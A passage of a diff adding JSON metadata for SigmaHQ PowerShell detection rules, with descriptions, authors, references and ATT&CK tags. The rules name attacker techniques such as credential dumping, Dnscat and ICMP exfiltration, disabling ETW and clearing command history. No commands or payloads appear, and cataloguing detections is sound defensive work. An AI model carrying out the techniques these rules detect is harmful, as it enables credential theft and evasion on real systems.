Flags" + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_automated_collection.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ] + }, + "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5", + "value": "Automated Collection Command PowerShell" + }, + { + "description": "Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound", + "meta": { + "author": "Austin Songer (@austinsonger)", + "creation_date": "2021/10/23", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_azurehound_commands.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_azurehound_commands.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482", + "attack.t1087", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1069.001", + "attack.t1069.002", + "attack.t1069" + ] + }, + "uuid": "83083ac6-1816-4e76-97d7-59af9a9ae46e", + "value": "AzureHound PowerShell Commands" + }, + { + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_capture_screenshots.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ] + }, + "uuid": "d4a11f63-2390-411c-9adf-d791fd152830", + "value": "Windows Screen Capture with CopyFromScreen" + }, + { + "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/25", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_clearing_windows_console_history.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", + "https://www.shellhacks.com/clear-history-powershell/", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1070.003" + ] + }, + "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", + "value": "Clearing Windows Console History" + }, + { + "description": "Detects keywords that could indicate clearing PowerShell history", + "meta": { + "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2022/01/25", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_clear_powershell_history.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ] + }, + "uuid": "26b692dc-1722-49b2-b496-a8258aa6371d", + "value": "Clear PowerShell History" + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_cl_invocation_lolscript.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "4cd29327-685a-460e-9dac-c3ab96e549dc", + "value": "Execution via CL_Invocation.ps1" + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_cl_invocation_lolscript_count.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "f588e69b-0750-46bb-8f87-0e9320d57536", + "value": "Execution via CL_Invocation.ps1 (2 Lines)" + }, + { + "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_cl_mutexverifiers_lolscript.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://twitter.com/pabraeken/status/995111125447577600", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "39776c99-1c7b-4ba0-b5aa-641525eee1a4", + "value": "Execution via CL_Mutexverifiers.ps1" + }, + { + "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_cl_mutexverifiers_lolscript_count.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://twitter.com/pabraeken/status/995111125447577600", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "6609c444-9670-4eab-9636-fe4755a851ce", + "value": "Execution via CL_Mutexverifiers.ps1 (2 Lines)" + }, + { + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_cmdlet_scheduled_task.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005" + ] + }, + "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb", + "value": "Powershell Create Scheduled Task" + }, + { + "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2021/12/27", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_copy_item_system_directory.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556.002" + ] + }, + "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd", + "value": "Powershell Install a DLL in System Directory" + }, + { + "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_cor_profiler.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.012" + ] + }, + "uuid": "23590215-4702-4a70-8805-8dc9e58314a2", + "value": "Registry-Free Process Scope COR_PROFILER" + }, + { + "description": "Detects creation of a local user via PowerShell", + "meta": { + "author": "@ROxPinTeddy", + "creation_date": "2020/04/11", + "falsepositive": [ + "Legitimate user creation" + ], + "filename": "posh_ps_create_local_user.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.persistence", + "attack.t1136.001" + ] + }, + "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61", + "value": "PowerShell Create Local User" + }, + { + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", + "meta": { + "author": "frack113", + "creation_date": "2022/01/12", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_create_volume_shadow_copy.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/datasources/DS0005/", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", + "value": "Create Volume Shadow Copy with Powershell" + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Highly likely if archive operations are done via PowerShell." + ], + "filename": "posh_ps_data_compressed.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1560" + ] + }, + "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a", + "value": "Data Compressed - PowerShell" + }, + { + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", + "meta": { + "author": "frack113, Duc.Le-GTSC", + "creation_date": "2021/08/03", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_detect_vm_env.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", + "https://techgenix.com/malicious-powershell-scripts-evade-detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1497.001" + ] + }, + "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3", + "value": "Powershell Detect Virtualization Environment" + }, + { + "description": "Enumerates Active Directory to determine computers that are joined to the domain", + "meta": { + "author": "frack113", + "creation_date": "2022/02/12", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_directorysearcher.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480", + "value": "DirectorySearcher Powershell Exploitation" + }, + { + "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_directoryservices_accountmanagement.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", + "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.002" + ] + }, + "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08", + "value": "Manipulation of User Computer or Group Security Principals Across AD" + }, + { + "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", + "meta": { + "author": "Ali Alwashali", + "creation_date": "2022/08/21", + "falsepositive": [ + "Legitimate script that disables the command history" + ], + "filename": "posh_ps_disable_psreadline_command_history.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/DissectMalware/status/1062879286749773824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ] + }, + "uuid": "602f5669-6927-4688-84db-0d4b7afb2150", + "value": "Disable Powershell Command History" + }, + { + "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", + "meta": { + "author": "frack113", + "creation_date": "2022/09/10", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_disable_windowsoptionalfeature.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", + "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3", + "value": "Disable-WindowsOptionalFeature Command PowerShell" + }, + { + "description": "Dnscat exfiltration tool execution", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate usage of PowerShell Dnscat2 — DNS Exfiltration tool (unlikely)" + ], + "filename": "posh_ps_dnscat_execution.yml", + "level": "critical", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "a6d67db4-6220-436d-8afc-f3842fe05d43", + "value": "Dnscat Execution" + }, + { + "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_dump_password_windows_credential_manager.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ] + }, + "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc", + "value": "Dump Credentials from Windows Credential Manager With PowerShell" + }, + { + "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Legitimate script" + ], + "filename": "posh_ps_enable_psremoting.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ] + }, + "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3", + "value": "Enable Windows Remote Management" + }, + { + "description": "Detect built in PowerShell cmdlet Enable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", + "meta": { + "author": "frack113", + "creation_date": "2022/09/10", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_enable_windowsoptionalfeature.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_windowsoptionalfeature.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "55c925c1-7195-426b-a136-a9396800e29b", + "value": "Enable-WindowsOptionalFeature Command PowerShell" + }, + { + "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_enumerate_password_windows_credential_manager.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ] + }, + "uuid": "603c6630-5225-49c1-8047-26c964553e0e", + "value": "Enumerate Credentials from Windows Credential Manager With PowerShell" + }, + { + "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_etw_trace_evasion.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562.006", + "car.2016-04-002" + ] + }, + "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8", + "value": "Disable of ETW Trace" + }, + { + "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/26", + "falsepositive": [ + "Legitimate usage of the cmdlet to forward emails" + ], + "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml" + ], + "tags": [ + "attack.exfiltration" + ] + }, + "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474", + "value": "Suspicious PowerShell Mailbox SMTP Forward Rule" + }, + { + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_file_and_directory_discovery.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9", + "value": "Powershell File and Directory Discovery" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_get_acl_service.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.011" + ] + }, + "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3", + "value": "Service Registry Permissions Weakness Check" + }, + { + "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/06", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_get_adreplaccount.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://www.powershellgallery.com/packages/DSInternals", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.006" + ] + }, + "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73", + "value": "Suspicious Get-ADReplAccount" + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_get_childitem_bookmarks.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ] + }, + "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf", + "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell" + }, + { + "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/21", + "falsepositive": [ + "Legitimate administration scripts" + ], + "filename": "posh_ps_hotfix_enum.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml" + ], + "tags": [ + "attack.discovery" + ] + }, + "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c", + "value": "PowerShell Hotfix Enumeration" + }, + { + "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", + "meta": { + "author": "Bartlomiej Czyz @bczyz1, oscd.community", + "creation_date": "2020/10/10", + "falsepositive": [ + "Legitimate usage of System.Net.NetworkInformation.Ping class" + ], + "filename": "posh_ps_icmp_exfiltration.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c", + "value": "PowerShell ICMP Exfiltration" + }, + { + "description": "Detects powershell scripts that import modules from suspicious directories", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/07", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_import_module_susp_dirs.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab", + "value": "Import PowerShell Modules From Suspicious Directories" + }, + { + "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Legitimate script" + ], + "filename": 